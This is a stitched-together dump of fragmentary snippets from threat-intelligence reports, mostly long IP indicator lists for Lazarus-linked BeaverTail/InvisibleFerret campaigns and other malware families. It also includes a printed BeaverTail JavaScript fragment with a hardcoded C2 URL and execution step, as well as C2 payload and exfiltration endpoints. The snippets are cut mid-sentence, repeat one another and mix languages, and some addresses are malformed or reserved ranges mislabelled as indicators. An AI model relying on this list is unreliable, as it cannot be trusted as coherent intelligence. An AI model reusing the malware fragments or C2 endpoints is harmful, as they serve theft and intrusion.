Cobalt Strike (Watermark: 100000) 45.195.76.26 Dec-23 ShadowPad 50.114.5.82 Sep-24 Supershell 91.218.183.90 Apr-23 Cobalt Strike (Threat Actor (QUARTERRIG (APT29)) 103.179.142.121 Jun-23 AveMaria 136.0.3.250 Jan-25 AsyncRAT 136.0.3.71…","…84.17.38.140 84.17.41.94 85.195.72.66 85.195.119.90 89.163.154.155 89.187.161.180 89.187.161.220 89.187.185.11 91.207.174.99 91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.…","…84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104 85.203.15.105 85.203.15.45 85.203.44.133 85.203.45.198 86.48.13.166 91.221.66.87 94.200.95.34 103.125.146.22 103.125.146.27 103.125.146.40 103.125.146.8 103.125.146.90 S/2024/215 567 / 615…","…105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132 122.228.228.71 5.39.67.191 37.10.71.35…","…173.208.139.170 185.141.24.216 212.129.31.67 85.255.112.36 46.243.189.101 185.141.25.168 94.242.253.106 23.82.19.209 151.164.1.82 11.64.1.1 91.234.35.106 193.142.58.171 188.40.184.141 91.240.118.168 185.118.167.189 216.126.196.190 139.59.209.204 18.193.102.232 100.43.129.182 81.0.250.47 168.0…","…Campaign and cluster source Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.21.6.181 Contagious Interview (Recorded Future)…","…+ Source of the cluster Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.211.6.181 Contagious Interview (Recorded future)…","…06.161.1 23.106.169.120 38.170.181.10 38.32.68.195 45.86.208.162 66.118.255.35 70.32.3.15 70.39.103.3 70.39.70.194 77.247.126.189 91.239.130.102 Investigating BlockNovas’ GitHub Infrastructure Here, our team began searching for any GitHub content associated with “Blocknovas.”…","…Polaris Team 104.253.201.228 Polaris Team 162.253.129.2 MyoHyangGyongSong team 91.239.130.102 Team 128-710 83.234.227.10 Team 821-39 Relevant Antivirus Solutions to Note Antivirus…","…Research” folder also mention Trevor Greer, trevorgreer9312@gmail.com, github.com/trevor9312, 104.223.97.2 (an Astrill VPN IP), and 91.239.130.102 (also Astrill). Infiltrating Lazarus APT Infrastructure Silent Push Threat analysts successfully infiltrated the Lazarus infrastructure…","…84.17.41.94 85.195.72.66 85.195.119.90 89.163.154.155 89.187.161.180 89.187.161.220 89.187.185.11 91.207.174.99 91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234…","…Research” folder also include two Astrill VPN IP addresses that were apparently used in the attack: “104.223.97.2 (an Astrill VPN IP), and 91.239.130.102 (also Astrill).” After our team found this new domain that aligned with previous Lazarus research, we were able to make additional pivots…","…85.255.112.36 46.243.189.101 185.141.25.168 94.242.253.106 23.82.19.209 151.164.1.82 11.64.1.1 91.234.35.106 193.142.58.171 188.40.184.141 91.240.118.168 185.118.167.189 216.126.196.190 139.59.209.204 18.193.102.232 100.43.129.182 81.0.250.47 168.0.0.255 103.207.39.154 59.89.120.99 62.171.176…","…port=\"3389\" Cluster-X-RDP IP Addresses First Seen Last Seen 91.242.241.31 Nov 2024 ACTIVE 91.242.241.170 Apr 2025 ACTIVE 91.242.241.117 Apr 2025 ACTIVE 91.242.241.122 May 2025 ACTIVE 91.242.241.15 Dec 2024 ACTIVE 91.242.241.174 Nov 2024 ACTIVE 91.242.241.55 Nov…","…IP Addresses First Seen Last Seen 91.242.241.31 Nov 2024 ACTIVE 91.242.241.170 Apr 2025 ACTIVE 91.242.241.117 Apr 2025 ACTIVE 91.242.241.122 May 2025 ACTIVE 91.242.241.15 Dec 2024 ACTIVE 91.242.241.174 Nov 2024 ACTIVE 91.242.241.55 Nov 2024 Jun 2025 91.242.241.183 Dec…","…91.242.241.31 Nov 2024 ACTIVE 91.242.241.170 Apr 2025 ACTIVE 91.242.241.117 Apr 2025 ACTIVE 91.242.241.122 May 2025 ACTIVE 91.242.241.15 Dec 2024 ACTIVE 91.242.241.174 Nov 2024 ACTIVE 91.242.241.55 Nov 2024 Jun 2025 91.242.241.183 Dec 2024 ACTIVE 62.106.66.151 Dec…","…&& cert=\"PACKERP-\" && port=\"3389\" Cluster-X-RDP IP Addresses First Seen Last Seen 91.242.241.31 Nov 2024 ACTIVE 91.242.241.170 Apr 2025 ACTIVE 91.242.241.117 Apr 2025 ACTIVE 91.242.241.122 May 2025 ACTIVE 91.242.241.15 Dec 2024 ACTIVE 91.242.241.174 Nov…","…91.242.241.170 Apr 2025 ACTIVE 91.242.241.117 Apr 2025 ACTIVE 91.242.241.122 May 2025 ACTIVE 91.242.241.15 Dec 2024 ACTIVE 91.242.241.174 Nov 2024 ACTIVE 91.242.241.55 Nov 2024 Jun 2025 91.242.241.183 Dec 2024 ACTIVE 62.106.66.151 Dec 2024 Sep 2025 45.129.199.127…","…91.242.241.122 May 2025 ACTIVE 91.242.241.15 Dec 2024 ACTIVE 91.242.241.174 Nov 2024 ACTIVE 91.242.241.55 Nov 2024 Jun 2025 91.242.241.183 Dec 2024 ACTIVE 62.106.66.151 Dec 2024 Sep 2025 45.129.199.127 Apr 2025 ACTIVE 45.86.231.67 Jan 2025 ACTIVE Another pattern we…","…Fingerprint 2: (asn=\"62005\" || asn=\"49392\") && cert=\"PACKERP-\" && port=\"3389\" Cluster-X-RDP IP Addresses First Seen Last Seen 91.242.241.31 Nov 2024 ACTIVE 91.242.241.170 Apr 2025 ACTIVE 91.242.241.117 Apr 2025 ACTIVE 91.242.241.122 May 2025 ACTIVE 91.242.241.15 Dec…","…91.242.241.117 Apr 2025 ACTIVE 91.242.241.122 May 2025 ACTIVE 91.242.241.15 Dec 2024 ACTIVE 91.242.241.174 Nov 2024 ACTIVE 91.242.241.55 Nov 2024 Jun 2025 91.242.241.183 Dec 2024 ACTIVE 62.106.66.151 Dec 2024 Sep 2025 45.129.199.127 Apr 2025 ACTIVE 45.86.231.67…","…8 51.79.185.145 207.226.171.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.228.169.123 89.188.16.18 69.50.170.100 115.238.251.56 91.243.44.21 107.175.3.10 222.186.50.35 185.183.98.14 167.99.39.23 195.88.208.210 112.101.40.34 9.5.11.0 64.190.113.230 69.50.175.178 60.217.234.138 188…","…222.186.60.89 74.82.216.27 3.70.247.229 47.103.45.174 161.35.227.89 172.98.73.57 212.117.176.187 103.175.16.113 209.127.20.13 154.7.253.191 91.243.44.22 4.82.216.57 45.66.230.56 4.5.77.0 197.149.90.166 185.217.197.84 199.19.226.25 167.114.0.144 12.4.0.158 94.23.26.205 85.195.115.20 2.0.0.0 2…","…7.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.243.103.80 69.20.25.160 76.73.68.175 61.…","…are commonly targeted in infostealer campaigns. JavaScript // Hardcoded malicious server (C2) const malicious_url = 'http://91.92.120.132:80/client/xxx' ; // Determine platform and set execution method const script_path = ` ${the_homedir} /.npl` ; const execute_script =…","…(APT38) Malware: BeaverTail (javascript) > loader; InvisibleFerret (python) > backdoor, infostealer Source: Upwork and Indeed C2: 91.92.120.132:80 Operation Dream Job Attribution: Lazarus Source: Indeed and LinkedIn Malware: Torisma > downloader, RAT Nowadays Operation99…","…6.253.194 45.61.129.255 45.61.130.0 45.61.131.218 45.61.160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.…","…45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 blocktestingto.com de.ztec.store hirog.io freeconference.io ipcheck.cloud mirotalk.net regioncheck.net…","….163 67.203.7.171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianx…","…224.0.1.187 12.2.1.4 8.8.4.4 1.2.0.3 203.0.113.9 203.0.113.50 203.0.113.5 185.159.158.42 198.51.100.42 1.127.0.0 203.45.67.89 194.87.95.123 91.92.241.15 100.100.100.200 91.92.242.30 1.2.4.0 155.94.0.7","…1.2.0.3 203.0.113.9 203.0.113.50 203.0.113.5 185.159.158.42 198.51.100.42 1.127.0.0 203.45.67.89 194.87.95.123 91.92.241.15 100.100.100.200 91.92.242.30 1.2.4.0 155.94.0.7","…1.2.0.3 203.0.113.9 203.0.113.50 203.0.113.5 185.159.158.42 198.51.100.42 1.127.0.0 203.45.67.89 194.87.95.123 91.92.241.15 100.100.100.200 91.92.242.30 1.2.4.0 155.94.0.7 0.1.2.3 198.18.0.1 240.0.0.1 198.51.100.1 124.0.0.0 35.100.6.1 35.100.6.2 22.6.5.72","…43.103.58 23.95.238.122 66.40.9.246 185.215.113.201 179.43.134.164 167.114.48.58 91.207.116.44 94.198.50.195 174.128.236.169 122.193.130.74 91.92.246.35 49.12.42.56 122.224.9.151 200.98.65.206 1.3.1.0 111.90.149.233 20.234.231.114 77.83.197.180 205.177.124.74 5.5.7.1 23.108.108.42 27.126.188…","…115.0.0.0 89.23.96.177 5.181.159.95 82.118.21.69 205.234.253.184 94.158.247.32 185.249.196.106 155.94.210.73 103.219.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.…","….3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0 192.0.2.1 0.0.0.0 19…","….50.175.181 178.236.247.102 209.200.169.10 115.47.49.181 42.51.155.153 45.93.201.62 65.98.83.115 54.237.176.95 58.65.239.124 185.244.25.155 91.92.252.146 5.39.217.221 194.178.112.202 98.126.208.83 31.214.157.170 95.211.153.103 195.225.176.69 91.211.17.201 08.178.42.114 194.195.209.88 212.192.…","…254.0 194.38.20.211 198.15.82.162 179.60.149.194 193.242.145.138 194.180.191.15 193.243.147.143 162.19.214.208 116.9.143.112 208.67.222.222 91.92.253.11 154.204.179.4 176.111.174.140 185.106.94.51 112.175.69.77 185.123.53.208 154.91.64.19 51.75.36.184 172.104.65.137 178.250.159.150 79.174.92…","…Limited May 2025 June 2025 27017 Cluster-2 MEDIUM 85.239.60.213 62240 Clouvider Limited Feb 2025 Feb 2025 27017, 80 Cluster-3 LOW 91.99.83.196 24940 Hetzner Online GmbH June 2025 June 2025 8080 Cluster-3 LOW 37.27.108.244 24940 Hetzner Online GmbH June 2025 June 2025 8080…","…00 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0 192.0.2.1 0.0.0.0 192.0.0.0 192.0.0.171 100.64.0.0 172.86.84.38 3.2.8.1 52.59.124.14 92.123.45.67 4.3.2.1 198.51.100.16 8.8.8.8 103.150.68.150 1.2.3.4 240.1.2.3 198.51.100.0 192.52.193.0 192.0.0.8 045.3.1.7 192.0.0.10 203.0.113.0 192.31.…","…171 67.203.7.200 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sage…","…3.141.164 112.124.120.200 120.55.196.60 59.46.12.25 193.29.15.147 9.142.66.240 185.117.73.222 88.208.17.127 23.152.0.101 59.58.1.63 1.3.6.1 93.185.4.90 219.235.1.72 194.165.4.39 209.62.108.213 69.50.165.18 60.14.48.73 172.86.96.111 3.71.39.224 31.192.209.89 085.195.91.34 18.156.82.84 84.252…","…0.36 75.127.1.211 192.227.173.33 61.135.159.183 89.117.2.34 38.255.43.23 5.189.134.216 80.66.75.34 23.88.122.128 192.3.31.211 94.131.108.78 94.102.60.207 69.31.84.223 70.38.40.185 42.51.159.222 84.16.234.103 209.62.108.220 209.141.42.149 170.85.221.107 94.142.138.97 222.139.151.114 18.159.59.…","….208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132 122.228.228.71 5.39.67.191 37.10.71.35 207.226.178.1…","….5.5.5 45.9.150.36 75.127.1.211 192.227.173.33 61.135.159.183 89.117.2.34 38.255.43.23 5.189.134.216 80.66.75.34 23.88.122.128 192.3.31.211 94.131.108.78 94.102.60.207 69.31.84.223 70.38.40.185 42.51.159.222 84.16.234.103 209.62.108.220 209.141.42.149 170.85.221.107 94.142.138.97 222.139.151.…","…Their role was serving payloads and collecting data from victims Server IP Active Period Role 94.131.9.32 January 2025 Latest command-and-control (C2) server.…","…9 twitterapis taras_lakhai 45.61.151.71 :1224/client/9/906 10 dev-debugger-vite wishorn 94.131.9.32 :1224/client/7/703 11 snore-log wishorn https://ip-api-server.vercel.app/api/ipcheck/701 12…","…67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl…","…IP 주소 1 172.86.84.38 2 45.61.150.31 3 94.131.97.195 4 144.172.97.7 5 185.235.241.208 6 45.61.128.110 7 144.172.86.27 8 185.153.182.241 9 45.137.213.30 10 86.104.74.51…","…45.61.151.71 45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51 88.218.0.78 94.131.97.195 95.164.17.24 Markdown Tsunami Indicators http[ :// ]23.254.164.156/introduction-video https[ ://…","…0 67.203.7.209 67.203.7.245 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com…","…0.40.97.94 37.115.98.97 2.4.0.0 141.98.6.105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132…","…192.3.31.211 94.131.108.78 94.102.60.207 69.31.84.223 70.38.40.185 42.51.159.222 84.16.234.103 209.62.108.220 209.141.42.149 170.85.221.107 94.142.138.97 222.139.151.114 18.159.59.253 121.207.229.145 61.92.48.59 103.213.247.48 20.254.53.47 104.168.32.203 198.12.107.229 20.40.97.94 37.115.98.9…","…Value IP Address 138.226.246.94 IP Address 212.86.125.24 IP Address 213.111.148.90 IP Address 94.154.32.160 Additional Telemetry Findings Abnormal API activity targeting /services/data/v59.0/query/ endpoints Repeated use of…","…12 43.136.234.140 192.210.215.11 46.28.70.102 156.245.19.127 155.15.133.69 115.0.0.0 89.23.96.177 5.181.159.95 82.118.21.69 205.234.253.184 94.158.247.32 185.249.196.106 155.94.210.73 103.219.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.17…","….41 4.6.0.0 194.36.191.10 203.199.200.61 65.243.103.58 23.95.238.122 66.40.9.246 185.215.113.201 179.43.134.164 167.114.48.58 91.207.116.44 94.198.50.195 174.128.236.169 122.193.130.74 91.92.246.35 49.12.42.56 122.224.9.151 200.98.65.206 1.3.1.0 111.90.149.233 20.234.231.114 77.83.197.180 205…","…web application that contained only the first two IP addresses. 188.43.33.250 49.145.111.7 190.120.252.13 118.148.107.73 87.249.132.144 94.224.115.64 198.50.130.118 94.71.186.249 77.166.75.76 134.228.221.237 81.184.178.102 81.34.167.92 50.67.15.10 128.203.96.252 We observed the threat…","…132 122.228.228.71 5.39.67.191 37.10.71.35 207.226.178.158 51.79.185.145 207.226.171.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.228.169.123 89.188.16.18 69.50.170.100 115.238.251.56 91.243.44.21 107.175.3.10 222.186.50.35 185.183.98.14 167.99.39.23 195.88.208.210 112.101.40.34 9…","….117.63 87.19.73.8 62.210.130.250 65.19.154.100 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.160 47.243.229.22 192.210.149.242 207.54.136.33 94.228.169.143 192.3.141.164 112.124.120.200 120.55.196.60 59.46.12.25 193.29.15.147 9.142.66.240 185.117.73.222 88.208.17.127 23.152.0.101 59.58.1.63 1.3…","…(may be shared origin) 2 82.180.146.116 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 94.23.153.15 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 95.182.97.53 ipv4 insider August 2024…","…127.20.13 154.7.253.191 91.243.44.22 4.82.216.57 45.66.230.56 4.5.77.0 197.149.90.166 185.217.197.84 199.19.226.25 167.114.0.144 12.4.0.158 94.23.26.205 85.195.115.20 2.0.0.0 22.186.3.65 4.0.0.0 49.1.1.52 167.71.14.135 23.249.163.163 185.172.128.11 200.98.146.241 185.125.230.210 3.4.6.7 27.0…","…5 69.197.164.117 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107…","…7.23.15.139 217.26.209.10 63.219.178.162 129.2.4.2 173.208.139.170 185.141.24.216 212.129.31.67 85.255.112.36 46.243.189.101 185.141.25.168 94.242.253.106 23.82.19.209 151.164.1.82 11.64.1.1 91.234.35.106 193.142.58.171 188.40.184.141 91.240.118.168 185.118.167.189 216.126.196.190 139.59.209.2…","….195.72.66 85.195.119.90 89.163.154.155 89.187.161.180 89.187.161.220 89.187.185.11 91.207.174.99 91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125…","…only the first two IP addresses. 188.43.33.250 49.145.111.7 190.120.252.13 118.148.107.73 87.249.132.144 94.224.115.64 198.50.130.118 94.71.186.249 77.166.75.76 134.228.221.237 81.184.178.102 81.34.167.92 50.67.15.10 128.203.96.252 We observed the threat actor originating from the…","…15.98.97 2.4.0.0 141.98.6.105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132 122.228.228…","…are used as a C2 server. We found the following IP addresses being used by the malware – 103.179.143.219, 166.88.134.75, 23.27.13.72, 95.135.181.151 After downloading the remote payload from the server, the malware executes it using the same node -i command described above. Affected…","…Greenflagged's analysis of these npm releases dec oded transactions from that wallet and reported 95.135.181.151 as the advertised C2 address at its November 3 observation.…","…5.195.119.90 89.163.154.155 89.187.161.180 89.187.161.220 89.187.185.11 91.207.174.99 91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.13…","…95.163.59.12 이며 해당 피싱 메일 주소는 왜 피싱 인지 확인하는 방법은 간단합니다.…","…김수키 국세청 피싱 메일 이메일 헤더 분석 인증 결과 SPF:통과 list.ru 도메인은 95.163.59.13(Mail.ru 발송 서버) DKIM: 통과 ist.ru 도메인에서 mail4 셀렉터로 서명 DMARC:통과 정책 p=REJECT 상태에서 정합성 검사도 통과 ARC (Authenticated Received Chain):네이버가 추가한 검증 체인…","…The BeaverTail samples described in this blog all communicate with a web server hosted at the IP address 95.164.17.24 on port 1224.…","…Starting Point The investigation began with two IPs flagged in an InvisibleFerret IOC report: 95.216.37.186 (Hetzner, Finland) and 95.164.17.24 (TheHosting/WorkTitans, Netherlands).…","…) SHA-256 0f5f0a3ac843df675168f82021c24180ea22f764f87f82f9f77feail (macOS Mach-O) Unit 42 Contagious Interview update ( Unit 42 ) IP 95.164.17.24 Reported BeaverTail and InvisibleFerret C2 Unit 42 Contagious Interview update ( Unit 42 ) IP 185.235.241.208 Reported BeaverTail and…","…purposefully ran the code in a virtual environment, which eventually connected back to the attacker's command and control (C2) server 95.164.17.24:1224 , as noted below in Figure 2. Figure 2.…","…1.129.255 45.61.130.0 45.61.131.218 45.61.160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.2…","…backdoor capable of keylogging, file exfiltration and installing remote control software. Detection Opportunities Network Comms 95.164.17.24 45.140.147.208 Persistence Although persistence was not observed on macOS in earlier reports, a recent report identifies a LaunchAgent…","…Network IP Domain Hosting provider First seen Details 95.164.17.24 N/A STARK INDUSTRIES SOLUTIONS LTD 2024‑06‑06 BeaverTail/InvisibleFerret C&C and staging server.…","…45.76.160.53 5.253.43.122 66.235.168.232 66.235.175.109 67.203.7.163 67.203.7.171 86.104.74.51 88.218.0.78 94.131.97.195 95.164.17.24 Markdown Tsunami Indicators http[ :// ]23.254.164.156/introduction-video https[ :// ]pastebin.com/u/NotingRobe2871_FranzStill8494…","…FUD on VT, \"MiroTalk.dmg\": 9abf6b93eafb797a3556bea1fe8a3b7311d2864d5a9a3687fce84bc1ec4a428c Payload / next stages are coming from 95.164.17.24:1224 (Stark AS 44477). From a quick look, the next stages includes stealing from browsers, keylogging, installing AnyDesk,……","…the compromise. C2 Infrastructure The AnyDesk RAT component communicates with a different C2 server than the credential stealer: C2: 95.164.17.24:1224 The IP is obfuscated in the script using base64 with an 8-character rotation: host = \"LjE3LjI0OTUuMTY0\" decoded =…","…5.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 blocktestingto.com de.ztec.store hirog.io freeconference.io ipcheck.cloud mirotalk.net regioncheck.net…","…(cleartext Python) http://95.164.17.24:1224/any || Stage 4: Downloads AnyDesk installer (if needed) || Temp location, then deleted http://95.164.17.24:1224/keys || Stage 4: Uploads hijacked AnyDesk config || No (upload only) Unique Domains loopsoft.tech api.npoint.io ip-api.com…","…8,493,056 bytes Network IOCs C2 Infrastructure: 95.216.37.186:5000 (primary C2) 95.216.37.186:3011 (secondary exfiltration) 95.164.17.24:1224 (documented InvisibleFerret C2) Host-Based IOCs Registry Keys (Windows):…","…7 74.119.194.129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.7…","…the number of targeted browser extensions by adding kaikas, rabby, argent X, exodus web3 #beavertail indicators: 185.235.241.208:1224 95.164.17.24:1224 dc77044fe8d35882015eaa99ca31f826 b9693b6541a22d01b100b867375279e6 8ebca0b7ef7dbfc14da3ee39f478e880 ed60b3913e6694f4a0ed2fe25551bd1f…","…The videos were likely created during an RDP session to the Beavertail C&C server 95.164.18.177 at the end of January 2025 by someone who is logged in with a BlockNovas.com account.…","…a calendly.com/bigrocks918geek/30min page We discovered the domain angeloperonline.online was hosted on Stark Industries’ IP address, 95.164.33.66, which also has a URL found with the directory /pdown within VirusTotal data.…","…129 86.104.74.51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.79 69.10.53.86…","….51 88.218.0.78 91.198.66.112 91.198.66.158 91.92.120.135 93.127.134.237 94.131.97.195 94.131.9.32 94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.79 69.10.53.86 60.93.32.117…","…2.175.69.77 185.123.53.208 154.91.64.19 51.75.36.184 172.104.65.137 178.250.159.150 79.174.92.22 67.198.179.75 103.54.153.116 212.46.38.238 95.164.63.54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139…","…Follow me on social media: https://www.linkedin.com/in/rayssac/ . IoC 5.253.43.122:1224 41.208.185.235 95.164.7.171:8637 MITRE ATT&CK TTPs T1027 — Obfuscated Files or Information T1027.002 — Obfuscated Files or Information: Software Packing…","…http://95.164.7.171:8637/api/clip “Pay” Component Overview The pay component conducts various host fingerprinting activities…","…used by NICKEL ALLEY (audiodriver.py) talentacq.pro Domain name NICKEL ALLEY malware staging server for PyLangGhost RAT infections 95.169.180.140 IP address PyLangGhost RAT C2 server used by NICKEL ALLEY publicshare.org Domain name NICKEL ALLEY malware staging server for…","…Finally, it contacts the hard‑coded C2 server at http://95.169.180.140:8080 and begins the first communication loop by invoking core.StartFirst5179Iter() with the machine ID and C2 url.…","…C2 http://216.74.123.191:8080 http://95.169.180.146:8080 ← Previous Crypto Tool or Data Thief? How Meme-Token-Hunter-Bot and Its Clones Steal from macOS Users Up…","…in the software development company’s repository had two further BeaverTail C2 servers hard-coded IP addresses, 216.173.115.200 and 95.179.135.133 . Lumanagi While investigating the Indian software development company’s repository and the “Lumanagi” lure previously observed in…","…3.35.188.237 23.227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52 172.86.116.90 144.172.97.7 95.179.135.133 37.60.234.203 107.172.31.179 188.255.239.34 197.182.186.212 43.136.234.140 192.210.215.11 46.28.70.102 156.245.19.127 155.15.133.69 115.0.0…","…(may be shared origin) 2 94.23.153.15 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 95.182.97.53 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 ryan.service.1001@gmail.com email insider N/A…","…5.93.201.62 65.98.83.115 54.237.176.95 58.65.239.124 185.244.25.155 91.92.252.146 5.39.217.221 194.178.112.202 98.126.208.83 31.214.157.170 95.211.153.103 195.225.176.69 91.211.17.201 08.178.42.114 194.195.209.88 212.192.241.94 192.3.22.5 21.12.170.42 20.206.200.95 95.214.24.37 46.4.198.55","…1.214.157.170 95.211.153.103 195.225.176.69 91.211.17.201 08.178.42.114 194.195.209.88 212.192.241.94 192.3.22.5 21.12.170.42 20.206.200.95 95.214.24.37 46.4.198.55","…1.214.157.170 95.211.153.103 195.225.176.69 91.211.17.201 08.178.42.114 194.195.209.88 212.192.241.94 192.3.22.5 21.12.170.42 20.206.200.95 95.214.24.37 46.4.198.55 203.0.113.8 100.64.0.1 13.1.3.6 15.1.5.1 14.1.1.0 5.6.7.8 203.0.113.4 15.1.2.1 4.4.8.8 12.1.3.0 16.1.2.2 224.0.0.1 93.184.216.3…","….163.154.155 89.187.161.180 89.187.161.220 89.187.185.11 91.207.174.99 91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.…","…i-v3.cloud moralis-api-v3.cloud modilus.io 116.202.208.125 65.108.122.31 194.164.234.151 135.181.123.177 188.116.26.84 65.21.23.63 95.216.227.188 記事をシェアする 前の記事 【徹底比較】MDRとSOCの違いとは？自社に最適な選び方を解説 Additional Features of OtterCookie Malware Used by WaterPlum 次の記事…","…High-confidence examples include jsonkeeper.com paste IDs, api.npoint.io paste endpoints, 107.189.20.115 , 216.126.237.71 , 95.216.26.109:6211 , and analyse sessions on port 1244 ; see Indicators of Compromise below for the fuller list used in this post. Treat exposed…","…into a 